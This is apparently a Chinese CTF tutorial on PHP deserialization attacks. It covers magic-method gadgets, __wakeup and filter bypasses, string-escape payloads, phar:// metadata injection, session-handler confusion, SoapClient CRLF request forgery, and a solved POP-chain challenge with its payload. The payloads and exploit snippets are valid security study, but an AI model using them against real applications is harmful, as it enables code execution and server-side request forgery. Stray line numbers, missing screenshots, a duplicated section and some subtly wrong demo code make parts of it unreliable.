php反序列化总结
[TOC]
原理
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法。
漏洞触发条件:unserialize函数的变量可控,php文件中存在可利用的类,类中有魔术方法
序列化demo
<?php
class sakura{
public $a='HY';
public $b='666';
public function __wakeup(){
print $this->a+$this->b;
}
}
$a = new sakura();
print (serialize($a));
序列化数据格式
常用魔术方法总结
一、__construct(构造方法)
当类被实例化的时候就会调用
简单来说,就是new一个类的时候,这个方法就会自动执行
<?php
class autofelix
{
public function __construct()
{
echo '我是类autofelix';
}
}
new autofelix();
//即可输出:我是类autofelix
123456789101112131415
二、 __destruct(析构方法)
当类被销毁时候自动触发
可以使用unset方法触发该方法
<?php
class autofelix
{
public function __destruct()
{
echo '我准备销毁你了';
}
}
$a = new autofelix();
unset($a);
//即可输出:我准备销毁你了
12345678910111213141516
三、 __clone(克隆方法)
当类被克隆时自动会自动调用
<?php
class autofelix
{
public function __clone()
{
echo '我克隆了你';
}
}
$a = new autofelix();
clone $a;
//即可输出:我克隆了你
123456789101112131415
四、__call(非静态调用方法)
当要调用的方法不存在或者权限不足时候会自动调用
比如我在类的外部调用类内部的private修饰的方法
<?php
class autofelix
{
private function say()
{
echo 'hello, 我是autofelix';
}
public function __call($name, $arguments)
{
echo '你无权调用' . $name . '方法';
die;
}
}
$a = new autofelix();
$a->say(); //按理说应该报错
//即可输出:你无权调用say方法
12345678910111213141516171819202122
五、__callStatic(静态调用方法)
当要调用的静态方法不存在或者权限不足时候会自动调用
比如我在类的外部调用类内部的private修饰的静态方法
<?php
class autofelix
{
private static function say()
{
echo 'hello, 我是autofelix';
}
public function __callStatic($name, $arguments)
{
echo '你无权调用' . $name . '方法';
die;
}
}
$a = new autofelix();
$a::say(); //按理说应该报错
//即可输出:你无权调用say方法
12345678910111213141516171819202122
六、__debugInfo(打印方法)
该方法会在var_dump()类对象时候被调用
如果没有定义该方法,var_dump()将会打印出所有的类属性
<?php
class autofelix
{
public function __debugInfo()
{
echo '你看不到我任何信息的~';
}
}
var_dump(new autofelix());
//即可输出:你看不到我任何信息的~
123456789101112131415
七、__get(获取成员属性方法)
通过它可以在对象外部获取私有成员属性
<?php
class autofelix
{
private $name = 'autofelix';
public function __get($name)
{
if(in_array($name, ['name', 'age'])) {
echo $this->name;
} else {
echo '不是什么东西都能访问的~';
}
}
}
$a = new autofelix();
$a->name;
//即可输出:autofelix
123456789101112131415161718192021
八、__isset方法
当对不可访问的属性调用isset()或则会empty()时候会被自动调用
<?php
class autofelix
{
private $name = 'autofelix';
public function __isset($name)
{
if(in_array($name, ['name', 'age'])) {
echo $this->name;
} else {
echo '不是什么东西都能访问的~';
}
}
}
$a = new autofelix();
isset($a->name);
//结果: autofelix
123456789101112131415161718192021
九、__set方法
给一个未定义的属性赋值时候会被触发
<?php
class autofelix
{
public function __set($name, $value)
{
echo '你想给' . $name . '赋值' . $value;
}
}
$a = new autofelix();
$a->name = 'autofelix';
//结果: 你想给name赋值autofelix;
123456789101112131415
十、__invoke方法
对象本身不能直接当函数用
如果对象被当作函数调用就会触发该方法
<?php
class autofelix
{
public function __invoke()
{
echo '你还想调用我?';
}
}
$a = new autofelix();
//对象直接当函数调用
$a();
//结果: 你还想调用我?
123456789101112131415161718
十一、__sleep方法
当在类的外部调用serialize()时会自动被调用
<?php
class autofelix
{
public function __sleep()
{
echo '弄啥嘞~';
}
}
$a = new autofelix();
serialize($a);
//结果: 弄啥嘞~
12345678910111213141516
十二、__toString方法
当一个类被当作字符串处理时应该返回什么
这里必须返回一个string类型不然会报致命错误
<?php
class autofelix
{
public function __toString()
{
return '我是你得不到的对象...';
}
}
$a = new autofelix();
echo $a;
//结果: 我是你得不到的对象...
12345678910111213141516
十三、__unset方法
当对不可访问的属性调用unset()时会被自动调用
<?php
class autofelix
{
private $name = 'autofelix';
public function __unset($name)
{
echo '想删我? 你也配?';
}
}
$a = new autofelix();
unset($a->name);
//结果: 想删我? 你也配?
1234567891011121314151617
十四、__wakeup方法
当执行unserialize()方法时会被自动调用
<?php
class autofelix
{
public function __wakeup()
{
echo '又想弄啥嘞~';
}
}
$a = new autofelix();
unserialize($a);
//结果: 又想弄啥嘞~
12345678910111213141516
魔术方法的执行顺序
不同的魔术方法的执行顺序是不一样的,我们只需要搞清楚最开始会先执行什么,最后会执行什么就可以了
我们就来探讨下 __construt
,__wakeup
,__destruct
这几个魔术方法的执行顺序
首先我们来看一下new一个类的时候魔术方法的执行顺序
<?php
class sakura{
public $a='HY';
public $b='666';
public function __construct(){
print "这是__construct方法\r\n";
}
public function __wakeup(){
print "这是__wakeup方法\r\n";
}
public function __destruct(){
print "这是__destruct方法\r\n";
}
}
$a = new sakura();
print (serialize($a)."\r\n");
运行一下
这是我们序列化的过程
由于我们new了一个sakura类,所以会调用__construct
方法,然后就会执行我们的print语句输出了序列化的值,最后new完以后这个类会被销毁所以会调用__destruct方法
同理,我们来看一下反序列化过程,demo如下
<?php
class sakura{
public $a='HY';
public $b='666';
public function __construct(){
print "这是__construct方法\r\n";
}
public function __wakeup(){
print "这是__wakeup方法\r\n";
}
public function __destruct(){
print "这是__destruct方法\r\n";
}
}
#$a = new sakura();
#print (serialize($a)."\r\n");
$b = 'O:6:"sakura":2:{s:1:"a";s:2:"HY";s:1:"b";s:3:"666";}';
unserialize($b);
这里由于我们没有new一个对象的操作,所以就没有执行__construct
方法
首先进行反序列化,__wakeup
是当执行unserialize()方法时会被自动调用,所以是最先开始调用的
最后会对类进行销毁,所以会调用__destruct方法
其他魔术方法的调用都必须在它们两个之间!
到这里基础知识就已经够了,接下来我们就来看一些反序列化在ctf中的常见考法
对象注入
当用户的请求在传给反序列化函数unserialize()
之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize
函数,最终导致一个在该应用范围内的任意PHP对象注入。
对象漏洞出现得满足两个前提
1、
unserialize
的参数可控。
2、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
<?php
class A{
var $test = "ssss";
function __destruct(){
echo $this->test;
}
}
$a = 'O:1:"A":1:{s:4:"test";s:2:"HY";}';
unserialize($a);
指针引用
在php反序列化中,r、R 分别表示对象引用和指针引用,在 PHP 中,标量类型数据是值传递的,而复合类型数据(对象和数组)是引用传递的。但是复合类型数据的引用传递和用 & 符号明确指定的引用传递是有区别的,前者的引用传递是对象引用,而后者是指针引用。
在解释对象引用和指针引用之前,先让我们看几个例子
<?php
class SampleClass {
var $value;
}
$a = new SampleClass();
$a->value = $a;
$b = new SampleClass();
$b->value = &$b;
echo serialize($a);
echo "\n";
echo serialize($b);
我们发现,这里变量 $a 的 value 字段的值被序列化成了 r:1,而 $b 的 value 字段的值被序列化成了 R:1
但是对象引用和指针引用到底有什么区别呢?让我们看下面这个例子
<?php
class SampleClass {
var $value;
}
$a = new SampleClass();
$a->value = $a;
$b = new SampleClass();
$b->value = &$b;
$a->value = 1;
$b->value = 1;
var_dump($a);
var_dump($b);
这表示,当我们改变$a->value
的值时,仅仅改变了$a->value
的值,但是当我们改变$b->value
的值时,却改变了$b的本身
有时候这个考点会出现在ctf中,现在我们来讲解一个ctf题目
ctf题目讲解
<?php
highlight_file(__FILE__);
class File {
public $filename;
public $secret;
public function __construct($filename, $secret){
echo "construct被调用";
echo $filename;
echo $secret;
$this -> filename= $filename ;
$this->secret=$secret;
}
public function __wakeup(){
$this->filename="nonoflag" ;
if(isset($_GET['secret'])){
$this->secret= $_GET['secret'];
}
}
public function __destruct(){
echo "destruct被调用";
printf($this->filename);
echo "\n";
}
}
$flag = $_GET['x'];
unserialize($flag);
这题稍微改编了下,我们的目的就是让$this->filename
最终等于flag.php
,而这题的前提条件又是php的版本较高,无法使用fast destruct的情况
我们先假装不知道不能用fast destruct
首先正常构造一个反序列化
<?php
class File {
public $filename;
public $secret;
}
$a = new File();
$a->filename='flag.php';
print serialize($a);
//O:4:"File":2:{s:8:"filename";s:8:"flag.php";s:6:"secret";N;}
如图,由于__wakeup
魔术方法的存在$filename
从我们传入的flag.php
变为了nonoflag
,然后尝试使用fast destruct
O:4:"File":3:{s:8:"filename";s:8:"flag.php";s:6:"secret";N;}
O:4:"File":2:{s:8:"filename";s:8:"flag.php";s:6:"secret";N;
如上图,最终都失败了,所以我们要尝试看有没有其它办法,由于这里并不止filename
一个变量,而且__wakeup
里有这样一行代码
是不是觉得很眼熟,由此我们可以尝试引入我们上文讲的指针引用
构造payload如下:
<?php
class File {
public $filename;
public $secret;
}
$a = new File();
$a->filename='HY';
$a->filename=&$a->secret;
print serialize($a);
// O:4:"File":2:{s:8:"filename";N;s:6:"secret";R:2;}
然后反序列化的同时给secret
传入flag.php
神奇的事情发生了,filename
的值成功变为flag.php
了
整个流程是这样的:
我们给filename
随意赋值为HY
,然后使用一个指针引用。当反序列化的时候,调用__wakeup
魔术方法,filename
被赋值为了nonoflag
,但是它下一步的时候,secret
参数就接收了我们传入的flag.php
,由于指针引用的关系,filename
也跟着secret
变为了flag.php
绕过部分正则
preg_match('/^O:\d+/')
匹配序列化字符串是否是对象字符串开头,这在曾经的CTF中也出过类似的考点
- 利用加号绕过(注意在url里传参时+要编码为%2B)
- serialize(array( a ) ) ; / / a));// a));//a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}
function match($data){
if (preg_match('/^O:\d+/',$data)){
die('you lose!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
fast destruct(绕过__wakeup)
今天介绍的这个技巧被称为fast destruct
,可以在unserialize
函数执行完后,立即触发我们的poc,这样就可以绕过一些限制,如__wakeup
魔术方法
- 存在漏洞的PHP版本: PHP5.6.25之前版本和7.0.10之前的7.x版本
- 漏洞概述:
__wakeup()
魔法函数被绕过,导致执行了一些非预期效果的漏洞 - 漏洞原理:
当对象的属性(变量)数大于实际的个数时,__wakeup()魔法函数被绕过
我这里用 phpstudy+php7.0.9来复现这个漏洞
我们来写一个demo
<?php
class sakura{
public $a='HY';
public $b='666';
public function __construct(){
print "这是__construct方法\r\n";
}
public function __wakeup(){
print "这是__wakeup方法\r\n";
}
public function __destruct(){
print "这是__destruct方法\r\n";
}
}
#$a = new sakura();
#print (serialize($a)."\r\n");
$b = 'O:6:"sakura":2:{s:1:"a";s:2:"HY";s:1:"b";s:3:"666";}';
unserialize($b);
正常反序列化过程:
1.修改序列化数字元素个数
O:6:"sakura":3:{s:1:"a";s:2:"HY";s:1:"b";s:3:"666";} //我这里讲2改为了3
我们发现只执行了__destruct
方法,而没有执行__wakeup
方法,成功绕过了__wakeup
魔术方法的执行
2.去掉序列化尾部 }
O:6:"sakura":2:{s:1:"a";s:2:"HY";s:1:"b";s:3:"666";
我在windows上复现失败了,不过这种方法是可行的,就不再复现了
php7.1+反序列化对类属性不敏感
在序列化的时候:如果变量前是protected,则是\x00*\x00变量名的形式,如果变量前是private,则是\x00类名\x00的形式
<?php
class test{
protected $a;
private $b;
public function __construct(){
$this->a = 'abc';
$this->b= 'def';
}
public function __destruct(){
echo "\n";
echo $this->a;
echo $this->b;
}
}
$a = new test();
echo serialize($a);
但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00
也依然会输出abc
<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
16进制绕过字符的过滤
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。
这里写了一个例子:
<?php
class test{
public $username;
public function __construct(){
$this->username = 'admin';
}
public function __destruct(){
echo 666;
}
}
function check($data){
if(stristr($data, 'username')!==False){
echo("你绕不过!!".PHP_EOL);
}
else{
return $data;
}
}
// 未作处理前
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 做处理后 \75是u的16进制
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);
如图,处理后成功的绕过了!
PHP反序列化字符逃逸
一般触发字符逃逸的前提是这个替换函数str_replace,能将字符串的长度改变。其主要原理就是运用闭合的思想。
示例代码:
<?php
highlight_file(__FILE__);
header("Content-Type: text/html; charset=utf-8");
class sakura{
public $name='HY';
public $age='25';
}
$a = new sakura();
$a = serialize($a);
print ($a);
var_dump(unserialize($a));
运行这段代码,我们可以得到这个类正常序列化的值,和它反序列化的内容
O:6:"sakura":2:{s:4:"name";s:2:"HY";s:3:"age";s:2:"25";}
class sakura#1 (2) {
public $name =>
string(2) "HY"
public $age =>
string(2) "25"
}
但是我们可以在反序列化时,对其值做一些手脚,如果我们对这样一个序列化值进行反序列化会发生什么呢?
O:6:"sakura":2:{s:4:"name";s:2:"HY";s:3:"age";s:2:"25";}123
我们发现并没有什么改变,说明{}是字符串反序列化时的分界符,在进行反序列化时,是从左到右读取。读取多少取决于s后面的字符长度
比如当我们将数字改成5
O:6:"sakura":2:{s:5:"name";s:2:"HY";s:3:"age";s:2:"25";}
此时在读取name时,它会将闭合的双引号也读取在内,而需要闭合字符串的双引号被当作字符串处理,这时就会导致语法错误而报错。
一般触发字符逃逸的前提是这个替换函数str_replace,能将字符串的长度改变,其主要原理就是运用闭合的思想。
字符逃逸主要有两种,一种是字符增多,一种是字符减少。
1.过滤后字符变多
<?php
highlight_file(__FILE__);
header("Content-Type: text/html; charset=utf-8");
class sakura{
public $name;
public $age='25';
function __destruct(){
print $this->age;
}
}
function change($str){
return str_replace("H","HH",$str);
}
$a = new sakura();
$a->name=$_GET['x'];
$str=serialize($a);
print "过滤前: "."\n";
print $str;
print " 逃逸前sakura的年龄为: ";
unset($a);
$str=change($str);
print " 过滤后:"."\n";
print $str."\n";
print "过滤后sakura的年龄为:";
unserialize($str);
我们先随意传入一个名字
如果我们传入带有H的名字会怎么样呢?
我们可以发现名字由 HY变为了 HHY
我们输入很多H呢?
神奇的事情发生了,过滤后的序列化字符串名字长度仍然是9,但是实际上它的长度早已经超过9了,所以我们就可以利用这点来构造字符串逃逸
我们首先要想,我们需要把他构造成什么样的形式,我们的目的是要修改age的值,而我们的输入点在name处
";s:3:"age";s:2:"99";}
这些是我们需要传入的,但是我们还要计算下它有多长,然后选择合适的H的个数去逃逸它
我们需要逃逸22个字符,每多一个H我们可以逃逸一个字符,所以我们需要22个H,由此我们可以传入
HHHHHHHHHHHHHHHHHHHHHH";s:3:"age";s:2:"99";}
我们来看看效果
我们成功完成了字符串逃逸,改变了age的值!
2.过滤后字符变少
这个原理其实也差不多,我们直接上代码
<?php
highlight_file(__FILE__);
header("Content-Type: text/html; charset=utf-8");
class sakura{
public $name;
public $age='25';
function __destruct(){
print $this->age;
}
}
function change($str){
return str_replace("HH","H",$str);
}
$a = new sakura();
$a->name=$_GET['x'];
$str=serialize($a);
print "过滤前: "."\n";
print $str;
print " 逃逸前sakura的年龄为: ";
unset($a);
$str=change($str);
print " 过滤后:"."\n";
print $str."\n";
print "过滤后sakura的年龄为:";
unserialize($str);
也就是每输入两个HH就会变为一个H
但是原理是有所不同的,字符增加主要是使s包含的范围被我们的垃圾字符填充,然后会继续反序列化我们恶意的字符串,由于它本来带的那部分序列化内容被我们用}截断,所以并没有起效果
而这个字符串减少的字符串逃逸,我们可以发现,s的范围是大于我们的名字的,所以我们需要让s的范围包含完本来的字符串,这样我们的恶意字符串就得以执行
为了更好的理解题目,我们稍微修改一下代码:
<?php
highlight_file(__FILE__);
header("Content-Type: text/html; charset=utf-8");
class sakura{
public $name='HY';
public $age='25';
function __destruct(){
print $this->age;
}
}
function change($str){
return str_replace("HH","H",$str);
}
$a = new sakura();
$str = serialize($a);
echo $str;
echo "\n";
print "改变前sakura的年龄为:";
unset($a);
echo "\n";
$str = change($str);
print $str;
echo "\n";
print "改变后sakura的年龄为:";
unserialize($str);
O:6:"sakura":2:{s:4:"name";s:2:"HY";s:3:"age";s:2:"25";}
我们尝试多给name一些H看会发生什么
我们发现name的值的范围已经大于了HH,所以把";
也包含进去了,所以我们是不是可以让它把原来的age部分全部包含,让php反序列化我们传入的恶意序列化值呢?
我们构造的恶意payload为:
25";s:3:"age";s:2:"99
我们需要让s包含的字符有:
";s:3:"age";s:21:"25 //20个字符
phar反序列化
概要
来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。
关于流包装
大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://
,zlib://
或php://
。
例如常见的
include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');
phar://
也是流包装的一种
漏洞成因
phar文件会以序列化的形式存储用户自定义的meta-data;该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作
原理分析
phar由四个部分组成,分别是stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only)
stub:标识作用,格式为xxx,前面任意,但是一定要以__HALT_COMPILER();?>结尾,否则php无法识别这是一个phar文件;
manifest describing the contents:其实可以理解为phar文件本质上是一种压缩文件,其中包含有压缩信息和权限,当然我们需要利用的序列化也在里面;
the file contents:这里指的是被压缩文件的内容;
[optional] a signature for verifying Phar integrity (phar file format only):签名,放在结尾;
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("sakura.phar"); //后缀名必须为phar
$phar->startBuffering(); //开始缓冲 Phar 写操作
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='sakura';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
访问一下,发现同目录下生成了一个.phar后缀的文件(如果这步无法创建,请修改php.ini的配置,设置phar.readonly = off 并去掉前面的分号)
打开:
发现写入的内容已经被序列化。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
当然不止上面这些
可参考链接:https://blog.zsxsoft.com/post/38
//exif
exif_thumbnail
exif_imagetype
//gd
imageloadfont
imagecreatefrom***系列函数
//hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
// file/url
get_meta_tags
get_headers
//standard
getimagesize
getimagesizefromstring
// zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
//配合其他协议:(SUCTF)
//https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/
//当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
//php://filter/read=convert.base64-encode/resource=phar://phar.phar
//Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>
// Mysql
//LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper
//配置一下mysqld:
//[mysqld]
//local-infile=1
//secure_file_priv=""
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
?>
漏洞利用
phar_fan.php
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
我们来简要说明下整个调用流程:
访问 phar_fun.php这个文件
执行incleude代码
解析phar文件
将里面的meta-data反序列化,在上述代码中也就是TestObject这个对象。
对象销毁,调用魔术方法__destruct()
执行echo语句完成攻击。
将phar伪造成其他格式的文件
php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php
class TestObject {
}
@unlink("sakura.phar");
$phar = new Phar("sakura.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
然后调用phar://sakura.php
是一样的效果。
漏洞的利用条件
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
php session反序列化
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储的方式就是由配置项session_save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容
在php.ini中存在三项配置项:
session.save_path="" --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)
session.serialize_handler存在以下几种
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);。
php_binary引擎格式
<0x04>names:5:"Smi1e";
php引擎格式
name|s:5:"Smi1e";
php_searialize引擎格式
a:1:{s:4:"name";s:5:"Smi1e";}
当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。
例如传入
$_SESSION['name']='|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}';
序列化引擎使用的是php_serialize,那么储存的session文件为
a:1:{s:4:"name";s:5:"|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}";}
而反序列化引擎如果使用的是php,就会把|作为作为key和value的分隔符。把a:1:{s:4:“name”;s:5:”当作键名,而把O:5:“Smi1e”:1:{s:4:“test”;s:3:“AAA”;}当作经过serialize()函数处理过的值,最后会把它进行unserialize处理,此时就构成了一次反序列化注入攻击。
PHP原生类SoapClient反序列化利用
soapClient:专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
类介绍:
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed}
存在_ _call方法,当__call方法被触发,可以发送HTTP和HTTPS请求。使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发。
函数形式:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数为指明是否为wsdl模式,为null则为非wsdl模式
wsdl,就是一个xml格式的文档,用于描述Web Server的定义
第二个参数为array,wsdl模式下可选;非wsdl模式下,需要设置location和uri,location就是发送SOAP服务器的URL,uri是服务的命名空间
首先测试下正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://108.166.201.16:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
CRLF
从上图可以看到,SOAPAction处可控,可以把\x0d\x0a注入到SOAPAction,POST请求的header就可以被控制
<?php
$a = new SoapClient(null,array('uri'=>"bbb\r\n\r\nccc\r\n", 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
第一个参数是用来指明是否是 wsdl 模式。
第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。具体可以设置的参数可见官方文档
但Content-Type在SOAPAction的上面,就无法控制Content-Typ,也就不能控制POST的数据
在header里User-Agent在Content-Type前面
https://www.php.net/manual/zh/soapclient.soapclient.php :
The user_agent option specifies string to use in User-Agent header.
user_agent同样可以注入CRLF,控制Content-Type的值
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;
$c = unserialize($aaa);
$c->not_exists_function();
?>
如上,使用SoapClient反序列化+CRLF可以生成任意POST请求。
安洵杯2022 babyphp
这题结合了pop链构造,php原生类使用,和php session反序列化的利用
index.php
<?php
header("Content-Type: text/html; charset=utf-8");
class A
{
public $a;
public $b;
public function __wakeup()
{
$this->a = "babyhacker";
print ("this is wakeup");
print ($this->a);
}
public function __invoke()
{
if (isset($this->a) && $this->a == md5($this->a)) {
print ("this is invoke");
print ($this->a);
$this->b->uwant();
}
}
}
class B
{
public $a;
public $b;
public $k;
function __destruct()
{
$this->b = $this->k;
die($this->a);
}
}
class C{
public $a;
public $c;
public function __toString(){
$cc=$this->c;
return $cc();
}
public function uwant()
{
if($this->a=="phpinfo"){
phpinfo();
}else{
print (array(reset($_SESSION),$this->a));
call_user_func(array(reset($_SESSION),$this->a));
}
}
}
if (isset($_GET['d0g3'])) {
ini_set($_GET['baby'], $_GET['d0g3']);
session_start();
$_SESSION['sess'] = $_POST['sess'];
}
else{
session_start();
if (isset($_POST["pop"])) {
unserialize($_POST["pop"]);
}
}
var_dump($_SESSION);
highlight_file(__FILE__);
flag.php
<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$f1ag=implode(array(new $_GET['a']($_GET['b'])));
$_SESSION["F1AG"]= $f1ag;
}else{
echo "only localhost!!";
}
尝试获取phpinfo,构造pop链条
<?php
highlight_file(__FILE__);
header("Content-Type: text/html; charset=utf-8");
class A
{
public $a;
public $b;
public function __wakeup()
{
$this->a = "babyhacker";
print ("this is wakeup");
print ($this->a);
}
public function __invoke()
{
if (isset($this->a) && $this->a == md5($this->a)) {
print ("this is invoke");
print ($this->a);
$this->b->uwant();
}
}
}
class B
{
public $a;
public $b;
public $k;
function __destruct()
{
$this->b = $this->k;
die($this->a);
}
}
class C{
public $a;
public $c;
public function __toString(){
$cc=$this->c;
return $cc();
}
public function uwant()
{
if($this->a=="phpinfo"){
phpinfo();
}else{
print (array(reset($_SESSION),$this->a));
call_user_func(array(reset($_SESSION),$this->a));
}
}
}
$B = new B();
$B->a=new C();
$B->a->c=new A();
$B->a->c->b=$B->a;
$B->a->c->a="0e215962017"; \\双md5绕过
$B->a->a="phpinfo";
print (serialize($B));
生成如下payload:
然后要绕过这个A类里的wakeup函数,使用fastdestruct,在末尾去点个}即可
O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";r:2;}}s:1:"b";N;s:1:"k";N;
php session反序列化
php中的seiion中的内容并不是放在内存中的,而是以文件的方式来存储的,存储的方式就是由配置项session_save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);。
